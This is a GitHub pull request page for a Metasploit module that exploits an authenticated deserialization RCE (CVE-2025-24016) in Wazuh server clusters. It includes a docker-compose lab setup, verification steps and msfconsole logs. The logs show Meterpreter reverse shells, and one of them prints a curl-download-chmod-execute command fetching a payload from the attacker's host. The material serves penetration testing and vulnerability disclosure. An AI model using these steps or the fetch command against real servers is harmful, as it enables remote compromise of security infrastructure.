Skip to content

Wazuh Server authenticated RCE [CVE-2025-24016] #20387

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from

Conversation

h00die-gr3y
Copy link
Contributor

@h00die-gr3y h00die-gr3y commented Jul 15, 2025

Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.
DistributedAPI parameters are a serialized as JSON and deserialized using as_wazuh_object (in /var/ossec/framework/wazuh/core/cluster/common.py). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (__unhandled_exc__) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent.

The following Wazuh release has been tested:

  • Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop

See also this attackerkb article for more info.

Installation steps to install the Wazuh Server application

  • Install Docker on your preferred platform.
  • Here are the installation instructions for Docker Desktop on MacOS.
  • Follow the steps to install Wazuh multi-node.
  • Change the docker-compose.yml file in the multi-node directory by adding the line - "56000:55000" to the ports configuration of the wazuh.worker section to expose port 55000 to the outside world on port 56000.
  • You can modify the 4.8.2 version in the yml file to pull different versions.
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
version: '3.7'

services:
  wazuh.master:
    image: wazuh/wazuh-manager:4.8.2
    hostname: wazuh.master
    restart: always
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 655360
        hard: 655360
    ports:
      - "1515:1515"
      - "514:514/udp"
      - "55000:55000"
    environment:
      - INDEXER_URL=https://wazuh1.indexer:9200
      - INDEXER_USERNAME=admin
      - INDEXER_PASSWORD=SecretPassword
      - FILEBEAT_SSL_VERIFICATION_MODE=full
      - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
      - SSL_CERTIFICATE=/etc/ssl/filebeat.pem
      - SSL_KEY=/etc/ssl/filebeat.key
      - API_USERNAME=wazuh-wui
      - API_PASSWORD=MyS3cr37P450r.*-
    volumes:
      - master-wazuh-api-configuration:/var/ossec/api/configuration
      - master-wazuh-etc:/var/ossec/etc
      - master-wazuh-logs:/var/ossec/logs
      - master-wazuh-queue:/var/ossec/queue
      - master-wazuh-var-multigroups:/var/ossec/var/multigroups
      - master-wazuh-integrations:/var/ossec/integrations
      - master-wazuh-active-response:/var/ossec/active-response/bin
      - master-wazuh-agentless:/var/ossec/agentless
      - master-wazuh-wodles:/var/ossec/wodles
      - master-filebeat-etc:/etc/filebeat
      - master-filebeat-var:/var/lib/filebeat
      - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
      - ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf

  wazuh.worker:
    image: wazuh/wazuh-manager:4.8.2
    hostname: wazuh.worker
    restart: always
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 655360
        hard: 655360
    ports:
      - "56000:55000"
      - "5555:5555"
    environment:
      - INDEXER_URL=https://wazuh1.indexer:9200
      - INDEXER_USERNAME=admin
      - INDEXER_PASSWORD=SecretPassword
      - FILEBEAT_SSL_VERIFICATION_MODE=full
      - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
      - SSL_CERTIFICATE=/etc/ssl/filebeat.pem
      - SSL_KEY=/etc/ssl/filebeat.key
      - PYTHONBREAKPOINT=remote_pdb.set_trace
      - REMOTE_PDB_HOST=0.0.0.0
      - REMOTE_PDB_PORT=5555
    volumes:
      - worker-wazuh-api-configuration:/var/ossec/api/configuration
      - worker-wazuh-etc:/var/ossec/etc
      - worker-wazuh-logs:/var/ossec/logs
      - worker-wazuh-queue:/var/ossec/queue
      - worker-wazuh-var-multigroups:/var/ossec/var/multigroups
      - worker-wazuh-integrations:/var/ossec/integrations
      - worker-wazuh-active-response:/var/ossec/active-response/bin
      - worker-wazuh-agentless:/var/ossec/agentless
      - worker-wazuh-wodles:/var/ossec/wodles
      - worker-filebeat-etc:/etc/filebeat
      - worker-filebeat-var:/var/lib/filebeat
      - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
      - ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf

  wazuh1.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh1.indexer
    restart: always
    ports:
      - "9200:9200"
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-1:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
      - ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
      - ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
      - ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh2.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh2.indexer
    restart: always
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-2:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
      - ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh3.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh3.indexer
    restart: always
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-3:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
      - ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh.dashboard:
    image: wazuh/wazuh-dashboard:4.8.2
    hostname: wazuh.dashboard
    restart: always
    ports:
      - 443:5601
    environment:
      - OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
      - WAZUH_API_URL="https://wazuh.master"
      - API_USERNAME=wazuh-wui
      - API_PASSWORD=MyS3cr37P450r.*-
      - DASHBOARD_USERNAME=kibanaserver
      - DASHBOARD_PASSWORD=kibanaserver
    volumes:
      - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
      - ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
      - ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
      - wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
      - wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
    depends_on:
      - wazuh1.indexer
    links:
      - wazuh1.indexer:wazuh1.indexer
      - wazuh.master:wazuh.master

  nginx:
    image: nginx:stable
    hostname: nginx
    restart: always
    ports:
      - "1514:1514"
    depends_on:
      - wazuh.master
      - wazuh.worker
      - wazuh.dashboard
    links:
      - wazuh.master:wazuh.master
      - wazuh.worker:wazuh.worker
      - wazuh.dashboard:wazuh.dashboard
    volumes:
      - ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro

volumes:
  master-wazuh-api-configuration:
  master-wazuh-etc:
  master-wazuh-logs:
  master-wazuh-queue:
  master-wazuh-var-multigroups:
  master-wazuh-integrations:
  master-wazuh-active-response:
  master-wazuh-agentless:
  master-wazuh-wodles:
  master-filebeat-etc:
  master-filebeat-var:
  worker-wazuh-api-configuration:
  worker-wazuh-etc:
  worker-wazuh-logs:
  worker-wazuh-queue:
  worker-wazuh-var-multigroups:
  worker-wazuh-integrations:
  worker-wazuh-active-response:
  worker-wazuh-agentless:
  worker-wazuh-wodles:
  worker-filebeat-etc:
  worker-filebeat-var:
  wazuh-indexer-data-1:
  wazuh-indexer-data-2:
  wazuh-indexer-data-3:
  wazuh-dashboard-config:
  wazuh-dashboard-custom:
  • Run following command docker-compose up -d to install and run the Wazuh server cluster environment.
  • Your Wazuh server should be accessible on https://localhost with an active Wazuh server cluster running.
  • You can bring down the environment for a fresh start with the command docker-compose down.

You are now ready to test the module.

IMPORTANT NOTE:
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. It is important to understand that the worker-server port (55000) should be exposed to the outside world in order to trigger this vulnerability. In the above lab setup, it is exposed on port 56000 (see the docker-compose.yml file)
Using it directly on the master-server port (55000) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.

Verification Steps

  • Start msfconsole
  • use exploit/linux/http/wazuh_auth_rce_cve_2025_24016
  • set rhosts <ip-target>
  • set rport <port>
  • set lhost <attacker-ip>
  • set target <0=Unix/Linux Command>
  • exploit

you should get a reverse shell or Meterpreter session depending on the payload and target settings.

@Chocapikk
Copy link
Contributor

Hey @h00die-gr3y, interesting! Actually I had tried to work on this CVE a few weeks ago but no way to trigger the RCE, did you also encounter this issue? If so, how did you make your lab work? Thank you

@h00die-gr3y
Copy link
Contributor Author

h00die-gr3y commented Jul 16, 2025

Hey @h00die-gr3y, interesting! Actually I had tried to work on this CVE a few weeks ago but no way to trigger the RCE, did you also encounter this issue? If so, how did you make your lab work? Thank you

Ha @Chocapikk, it is indeed a bit complicated to trigger the vulnerable code. It only gets triggered when you leverage the distributed API function. So you need a Wazuh multi-node cluster configuration as an installation baseline to make this work.
Secondly you need to run the DAPI request on the worker-server to trigger the RCE. Running it on the master-server will not leverage the DAPI, hence the vulnerable code will not be reached. In my lab setup, I have exposed the worker-server port 55000 to the outside world on port 56000. See also this attackerkb article for more info.

Module in action

msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options

Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   API_PWD    MyS3cr37P450r.*-  yes       Wazuh API password
   API_USER   wazuh-wui         yes       Wazuh API user
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
                                           socks5h
   RHOSTS     192.168.201.85    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      56000             yes       The target port (TCP)
   SSL        true              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                 yes       Path to the wazuh manager
   VHOST                        no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
                                               variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           192.168.201.10   yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      WqYFaNqq         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.85
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000

meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer     : wazuh.master
OS           :  (Linux 6.10.14-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/
meterpreter >

@jheysel-r7 jheysel-r7 self-assigned this Jul 18, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @h00die-gr3y. Two minor comments, testing was as expected.

msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rhost 172.16.199.136
rhost => 172.16.199.136
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rport 56000
rport => 56000
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set verbose true
verbose => true
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set fetch_writable_dir /tmp
fetch_writable_dir => /tmp
rmsf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > run
[*] Command to run on remote host: curl -so /tmp/TOEawJUtQ http://172.16.199.1:8080/aABri8OxO6gqI8OwLitk4g;chmod +x /tmp/TOEawJUtQ;/tmp/TOEawJUtQ&
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /aABri8OxO6gqI8OwLitk4g
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Client 172.16.199.136 requested /aABri8OxO6gqI8OwLitk4g
[*] Sending payload to 172.16.199.136 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.16.199.136
[*] Meterpreter session 1 opened (172.16.199.1:5555 -> 172.16.199.136:33950) at 2025-07-21 16:30:21 -0700

meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer     : wazuh.master
OS           :  (Linux 6.2.0-34-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Jul 22, 2025
@h00die-gr3y
Copy link
Contributor Author

Gents, any update?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants